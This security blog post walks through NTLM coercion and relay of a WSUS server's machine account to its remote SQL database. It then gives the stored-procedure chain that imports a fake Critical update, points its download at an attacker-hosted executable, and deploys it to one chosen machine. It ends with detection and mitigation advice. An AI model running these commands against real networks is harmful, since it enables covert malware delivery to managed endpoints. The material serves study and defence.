August 13, 2026
Coercing WSUS Computer Accounts to Own the Update Server Database
WSUS pushes signed content to every managed endpoint in the environment. If you own the mechanism that decides which files those endpoints…

By coy0te
5 min read
WSUS pushes signed content to every managed endpoint in the environment. If you own the mechanism that decides which files those endpoints download and execute, you own the endpoints. Beyviel David at SpecterOps found a path to that mechanism that hinges on a design choice most defenders never audit: whether the WSUS database lives on the WSUS server or on a separate SQL box.
This post walks through the coercion primitive and the stored-procedure chain that turns a SQL session on SUSDB into a targeted update-delivery capability. It's grounded entirely in David's Part 1 writeup.
The split-database design is the whole vulnerability
WSUS has two required pieces. The upstream server runs the Windows Server Update Services role, exposes a web API on port 8530 by default, and is where admins approve updates and manage computer groups. Behind it sits a database — SUSDB — that holds UpdateIDs, client records, file metadata, and group membership.
That database can be configured two ways: a Windows Internal Database (WID) file on the WSUS server itself, or a standalone Microsoft SQL Server. The WID case gives you nothing to relay to across the network. The standalone SQL case is different. Now the WSUS server has to authenticate to a remote SQL server to do its job, and that authentication is the thing you can steal.
You can confirm a client's WSUS assignment straight from the registry:
C:\Users\domainadmin>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://10.2.10.3:8530
WUStatusServer REG_SZ http://10.2.10.3:8530
TargetGroupEnabled REG_DWORD 0x1
TargetGroup REG_SZ ServersC:\Users\domainadmin>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://10.2.10.3:8530
WUStatusServer REG_SZ http://10.2.10.3:8530
TargetGroupEnabled REG_DWORD 0x1
TargetGroup REG_SZ ServersWUServer points you at the upstream server. From there you need to figure out where its database lives.
Coercion and relay to SQL
David first tried the obvious lateral-movement move: coerce the upstream WSUS server to authenticate to a downstream WSUS server over SMB, hoping the upstream had local admin on the downstream. He set up ntlmrelayxas an SMB listener that relays to the downstream server, then used PetitPotam to force the upstream WSUS machine account to authenticate to the attacker box. The relay landed, but the upstream account had no administrative rights on the downstream server. Dead end.
The productive target was the database. Same shape — coerce the upstream WSUS computer account, relay the authentication to the remote SQL server instead of another WSUS server:
# Listener relaying coerced auth to the WSUS SQL database
ntlmrelayx.py -t mssql://<wsus-sql-server> -smb2support
# then coerce the WSUS server to authenticate to the attacker
PetitPotam.py <attacker-ip> <wsus-server-ip># Listener relaying coerced auth to the WSUS SQL database
ntlmrelayx.py -t mssql://<wsus-sql-server> -smb2support
# then coerce the WSUS server to authenticate to the attacker
PetitPotam.py <attacker-ip> <wsus-server-ip>This worked. The upstream WSUS computer account (WSUS1$ in David's lab) had enough permission to establish an MSSQL session on the database server. This is the crux: the WSUS server has to be able to talk to SUSDB, so its machine account is a valid SQL principal. Coerce that account and relay it, and you inherit its database access without ever touching a credential.
The relay works because NTLM authentication doesn't bind to the service you thought you were authenticating to. A coerced machine account will happily authenticate to your listener, and your listener forwards that authentication material to SQL. If SMB signing and channel binding aren't enforced on the path, the relay completes.
The permission model that shapes everything else
A SQL session doesn't mean free rein. Enumerating WSUS1$'s rights — David used MSSQLHound — shows the account belongs to the webService database role. That role has no SELECT, UPDATE, or DELETE on any SUSDB table. Trying to touch tables directly returns permission errors.
What webService does have is EXECUTE on stored procedures. So the attack isn't "write rows into SUSDB." It's "call the exact procedures WSUS itself calls to publish and deploy an update, in the right order, with the right arguments." David pulled the procedure definitions with:
SELECT
SCHEMA_NAME(schema_id) AS SchemaName,
name AS ProcedureName,
OBJECT_DEFINITION(object_id) AS Definition,
create_date, modify_date
FROM sys.procedures
ORDER BY SchemaName, ProcedureName;SELECT
SCHEMA_NAME(schema_id) AS SchemaName,
name AS ProcedureName,
OBJECT_DEFINITION(object_id) AS Definition,
create_date, modify_date
FROM sys.procedures
ORDER BY SchemaName, ProcedureName;He built on the procedure names in Phil Keeble's SharpWSUS and the fragment-type work from Romain Coltel and Yves Le Provost's WSUSpendu talk, then filled in the argument details by reading definitions.
Building the update from stored procedures
The goal is a bundled update: a parent container plus a child that carries the real technical detail — applicability rules, install command, and executable name. David notes prerequisite and supersede relationships would require extra enumeration of installed updates, so bundled is the practical choice.
spImportUpdate imports the update via an UpdateXml blob and returns a revision ID you'll reuse. The XML defines UpdateID, UpdateType, MaxDownloadSize, the file Digest/DigestAlgorithm, the FileName, and the InstallCommandprogram. Because it's a bundled update, spImportUpdate gets called twice — parent and child.
Next comes spSaveXmlFragment, which stores the XML fragments the update references. Three fragment types are required per update: UpdateIdentity, LocalizedProperties, and ExtendedProperties. Parent and child each need all three, so that's six calls. David confirmed they're mandatory — skipping them produced malformed XML errors.
UpdateIdentity is where deployability and prerequisites live. It sets ExplicitlyDeployable="true" and specifies conditions the client checks before installing:
exec spSaveXmlFragment 'ecb78a8f-...',1,1,
N'<UpdateIdentity UpdateID="ecb78a8f-..." RevisionNumber="1" />
<Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" />
<Relationships>
<Prerequisites>
<AtLeastOne IsCategory="true">
<UpdateIdentity UpdateID="E6CF1350-C01B-414D-A61F-263D14D133B4" />
</AtLeastOne>
</Prerequisites>
<BundledUpdates>
<UpdateIdentity UpdateID="a7751c4d-..." RevisionNumber="1" />
</BundledUpdates>
</Relationships>',NULLexec spSaveXmlFragment 'ecb78a8f-...',1,1,
N'<UpdateIdentity UpdateID="ecb78a8f-..." RevisionNumber="1" />
<Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" />
<Relationships>
<Prerequisites>
<AtLeastOne IsCategory="true">
<UpdateIdentity UpdateID="E6CF1350-C01B-414D-A61F-263D14D133B4" />
</AtLeastOne>
</Prerequisites>
<BundledUpdates>
<UpdateIdentity UpdateID="a7751c4d-..." RevisionNumber="1" />
</BundledUpdates>
</Relationships>',NULLThe GUID E6CF1350-C01B-414D-A61F-263D14D133B4 is the Critical update category. That matters: WSUS ships a Default Automatic Approval Rule that auto-approves anything categorized Critical or Security. It isn't enforced by default, and with database access you can approve your own update regardless — but tagging Critical is the kind of detail that makes an update blend in.
LocalizedProperties carries the Title, Description, and URLs that show up in the WSUS console and in Windows Update on the client, so name it something boring. ExtendedProperties carries the install mechanics — MaxDownloadSize, RebootBehavior, file size, digest, and the InstallCommand Program. David sourced most argument definitions from C:\Program Files\Update Services\Schema\SoftwareDistributionPackage.xsd on the WSUS server.
Then spSetBatchURL tells WSUS where to fetch the payload, keyed by file digest, writing into tbFile:
exec spSetBatchURL @urlBatch =
N'<ROOT><item FileDigest="y2/wvtpOW/lSqnhTjJoi3xE1EGM="
MUURL="http://198.51.100.1:8000/Specter.exe" USSURL="" /></ROOT>'exec spSetBatchURL @urlBatch =
N'<ROOT><item FileDigest="y2/wvtpOW/lSqnhTjJoi3xE1EGM="
MUURL="http://198.51.100.1:8000/Specter.exe" USSURL="" /></ROOT>'When a client needs the file, WSUS looks up the digest in tbFile and downloads from the MUURL you supplied. spGetFileLocations confirms the mapping stuck.
Targeting one machine instead of the whole fleet
You don't want to ship malware to every endpoint. WSUS target groups let you scope delivery. spGetAllTargetGroupslists existing group IDs (including the All Computers parent), spCreateTargetGroup makes a new group with a GUID you generate, spGetComputerTargetByName resolves a hostname to its ComputerID, and spAddComputerToTargetGroup puts the target in your group:
EXEC spAddComputerToTargetGroup
@targetGroupID = 'a306cf19-2e4f-43e4-a3ee-77554e6afcf6',
@computerID = 'c2328225-de1c-4bd1-b273-2ad93d8ecbd3';EXEC spAddComputerToTargetGroup
@targetGroupID = 'a306cf19-2e4f-43e4-a3ee-77554e6afcf6',
@computerID = 'c2328225-de1c-4bd1-b273-2ad93d8ecbd3';Finally spDeployUpdate approves and assigns the child update to that group. With @isAssigned = 1 it's approved for install now:
EXEC spDeployUpdate @updateID = 'ecb78a8f-...', @revisionNumber = 1,
@actionID = 0, @targetGroupID = 'a306cf19-...',
@isAssigned = 1, @deadline = '2025-10-06 23:59:59', @adminName = 'Administrator';EXEC spDeployUpdate @updateID = 'ecb78a8f-...', @revisionNumber = 1,
@actionID = 0, @targetGroupID = 'a306cf19-...',
@isAssigned = 1, @deadline = '2025-10-06 23:59:59', @adminName = 'Administrator';David's Part 1 stops here. He notes that payload download nuances and file signature verification are real obstacles covered in Part 2 — so treat the chain above as the delivery mechanism, not a complete "it runs" guarantee.
Detection and mitigation
The relay depends on the WSUS machine account authenticating to a SQL server you control. Enforce SMB signing and, where possible, channel binding (EPA) on the SQL endpoint so relayed NTLM fails. Coercion tooling like PetitPotam is well-covered — watch for the WSUS machine account making outbound authentication to hosts that aren't its known database server.
If you can run WSUS with a WID rather than remote SQL, the network relay target disappears. If you must use standalone SQL, scope the WSUS account's rights as tightly as WSUS allows and monitor SUSDB for execution of the publishing procedures — spImportUpdate, spSaveXmlFragment, spSetBatchURL, spCreateTargetGroup, spDeployUpdate — from sessions or times that don't match normal WSUS sync behavior. New target groups, updates whose MUURL points off-network, and approvals attributed to Administrator outside a change window are all worth alerting on. The category is a lie you can't trust: an update tagged Critical is trivially forged.
Sources
- https://specterops.io/blog/2026/08/05/turning-enterprise-update-servers-into-backdoor-factories-part-1/
- https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ff357803(v=vs.85)
- https://github.com/SpecterOps/MSSQLHound
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md